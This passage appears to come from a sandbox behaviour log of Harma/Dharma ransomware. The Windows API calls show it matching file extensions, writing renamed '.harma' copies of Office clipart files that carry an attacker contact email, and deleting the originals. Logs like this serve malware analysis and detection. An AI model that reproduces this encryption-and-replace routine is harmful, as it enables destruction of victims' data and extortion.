(lpString=".jpg") returned 4 [0168.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.877] lstrlenW (lpString=".doc") returned 4 [0168.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.877] lstrlenW (lpString=".docx") returned 5 [0168.877] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.877] lstrlenW (lpString=".pdf") returned 4 [0168.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.877] lstrlenW (lpString=".xls") returned 4 [0168.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.877] lstrlenW (lpString=".xlsx") returned 5 [0168.878] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.878] lstrlenW (lpString=".ppt") returned 4 [0168.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.878] lstrlenW (lpString=".zip") returned 4 [0168.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.878] lstrlenW (lpString=".rar") returned 4 [0168.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.878] lstrlenW (lpString=".bz2") returned 4 [0168.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.878] lstrlenW (lpString=".7z") returned 3 [0168.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.878] lstrlenW (lpString=".dbf") returned 4 [0168.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.878] lstrlenW (lpString=".1cd") returned 4 [0168.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0168.878] lstrlenW (lpString=".jpg") returned 4 [0168.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.878] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.879] lstrlenW (lpString="J0105520.WMF") returned 12 [0168.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.879] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=31812) returned 1 [0168.880] CloseHandle (hObject=0x3ac) returned 1 [0168.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 0x20 [0168.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.880] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.880] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.881] GetLastError () returned 0x0 [0168.881] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x7c44, lpOverlapped=0x0) returned 1 [0168.984] WriteFile (in: hFile=0x384, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x7c50, lpOverlapped=0x0) returned 1 [0168.986] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0168.986] WriteFile (in: hFile=0x384, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0168.986] SetEndOfFile (hFile=0x384) returned 1 [0168.986] CloseHandle (hObject=0x384) returned 1 [0168.986] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.986] SetEndOfFile (hFile=0x3ac) returned 1 [0168.991] CloseHandle (hObject=0x3ac) returned 1 [0168.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0168.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0168.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.992] lstrlenW (lpString=".doc") returned 4 [0168.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.992] lstrlenW (lpString=".docx") returned 5 [0168.992] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.992] lstrlenW (lpString=".pdf") returned 4 [0168.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.992] lstrlenW (lpString=".xls") returned 4 [0168.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.992] lstrlenW (lpString=".xlsx") returned 5 [0168.992] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.993] lstrlenW (lpString=".ppt") returned 4 [0168.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.993] lstrlenW (lpString=".zip") returned 4 [0168.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.993] lstrlenW (lpString=".rar") returned 4 [0168.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.993] lstrlenW (lpString=".bz2") returned 4 [0168.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.993] lstrlenW (lpString=".7z") returned 3 [0168.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.993] lstrlenW (lpString=".dbf") returned 4 [0168.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.993] lstrlenW (lpString=".1cd") returned 4 [0168.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.993] lstrlenW (lpString=".jpg") returned 4 [0168.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.993] lstrlenW (lpString=".doc") returned 4 [0168.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.993] lstrlenW (lpString=".docx") returned 5 [0168.993] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.993] lstrlenW (lpString=".pdf") returned 4 [0168.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.993] lstrlenW (lpString=".xls") returned 4 [0168.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.993] lstrlenW (lpString=".xlsx") returned 5 [0168.994] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.994] lstrlenW (lpString=".ppt") returned 4 [0168.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.994] lstrlenW (lpString=".zip") returned 4 [0168.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.994] lstrlenW (lpString=".rar") returned 4 [0168.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.994] lstrlenW (lpString=".bz2") returned 4 [0168.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.994] lstrlenW (lpString=".7z") returned 3 [0168.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.994] lstrlenW (lpString=".dbf") returned 4 [0168.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.994] lstrlenW (lpString=".1cd") returned 4 [0168.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0168.994] lstrlenW (lpString=".jpg") returned 4 [0168.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.994] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0168.994] lstrlenW (lpString="J0105588.WMF") returned 12 [0168.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.995] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=21548) returned 1 [0168.995] CloseHandle (hObject=0x3ac) returned 1 [0168.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 0x20 [0168.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.996] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.996] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0168.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0168.997] GetLastError () returned 0x0 [0168.997] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x542c, lpOverlapped=0x0) returned 1 [0169.135] WriteFile (in: hFile=0x384, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x5430, lpOverlapped=0x0) returned 1 [0169.136] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0169.136] WriteFile (in: hFile=0x384, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.136] SetEndOfFile (hFile=0x384) returned 1 [0169.137] CloseHandle (hObject=0x384) returned 1 [0169.137] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.137] SetEndOfFile (hFile=0x3ac) returned 1 [0169.140] CloseHandle (hObject=0x3ac) returned 1 [0169.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 1 [0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.142] lstrlenW (lpString=".doc") returned 4 [0169.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.142] lstrlenW (lpString=".docx") returned 5 [0169.142] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.143] lstrlenW (lpString=".pdf") returned 4 [0169.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString=".xls") returned 4 [0169.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.143] lstrlenW (lpString=".xlsx") returned 5 [0169.143] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.143] lstrlenW (lpString=".ppt") returned 4 [0169.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.143] lstrlenW (lpString=".zip") returned 4 [0169.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.143] lstrlenW (lpString=".rar") returned 4 [0169.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString=".bz2") returned 4 [0169.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString=".7z") returned 3 [0169.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.143] lstrlenW (lpString=".dbf") returned 4 [0169.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.143] lstrlenW (lpString=".1cd") returned 4 [0169.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.144] lstrlenW (lpString=".jpg") returned 4 [0169.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.144] lstrlenW (lpString=".doc") returned 4 [0169.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString=".docx") returned 5 [0169.144] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.144] lstrlenW (lpString=".pdf") returned 4 [0169.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString=".xls") returned 4 [0169.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.144] lstrlenW (lpString=".xlsx") returned 5 [0169.144] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.144] lstrlenW (lpString=".ppt") returned 4 [0169.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.144] lstrlenW (lpString=".zip") returned 4 [0169.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.144] lstrlenW (lpString=".rar") returned 4 [0169.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString=".bz2") returned 4 [0169.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.144] lstrlenW (lpString=".7z") returned 3 [0169.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.145] lstrlenW (lpString=".dbf") returned 4 [0169.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.145] lstrlenW (lpString=".1cd") returned 4 [0169.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63 [0169.145] lstrlenW (lpString=".jpg") returned 4 [0169.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.145] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0169.145] lstrlenW (lpString="J0105846.WMF") returned 12 [0169.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.271] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=8240) returned 1 [0169.271] CloseHandle (hObject=0x39c) returned 1 [0169.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 0x20 [0169.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0169.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0169.284] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.284] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0169.285] GetLastError () returned 0x0 [0169.285] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2030, lpOverlapped=0x0) returned 1 [0169.642] WriteFile (in: hFile=0x338, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2040, lpOverlapped=0x0) returned 1 [0169.643] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0169.643] WriteFile (in: hFile=0x338, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0169.643] SetEndOfFile (hFile=0x338) returned 1 [0169.643] CloseHandle (hObject=0x338) returned 1 [0169.643] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0169.643] SetEndOfFile (hFile=0x364) returned 1 [0169.645] CloseHandle (hObject=0x364) returned 1 [0169.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0169.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0169.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.646] lstrlenW (lpString=".doc") returned 4 [0169.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.646] lstrlenW (lpString=".docx") returned 5 [0169.646] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.646] lstrlenW (lpString=".pdf") returned 4 [0169.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.647] lstrlenW (lpString=".xls") returned 4 [0169.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.647] lstrlenW (lpString=".xlsx") returned 5 [0169.647] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.647] lstrlenW (lpString=".ppt") returned 4 [0169.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.647] lstrlenW (lpString=".zip") returned 4 [0169.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.647] lstrlenW (lpString=".rar") returned 4 [0169.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.647] lstrlenW (lpString=".bz2") returned 4 [0169.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.647] lstrlenW (lpString=".7z") returned 3 [0169.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.647] lstrlenW (lpString=".dbf") returned 4 [0169.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.647] lstrlenW (lpString=".1cd") returned 4 [0169.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.647] lstrlenW (lpString=".jpg") returned 4 [0169.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0169.648] lstrlenW (lpString=".doc") returned 4 [0169.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.648] lstrlenW (lpString=".docx") returned 5 [0169.648] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.648] lstrlenW (lpString=".pdf") returned 4 [0169.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.648] lstrlenW (lpString=".xls") returned 4 [0169.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.648] lstrlenW (lpString=".xlsx") returned 5 [0169.648] lstrcmpiW (lpString1=".xlsx", 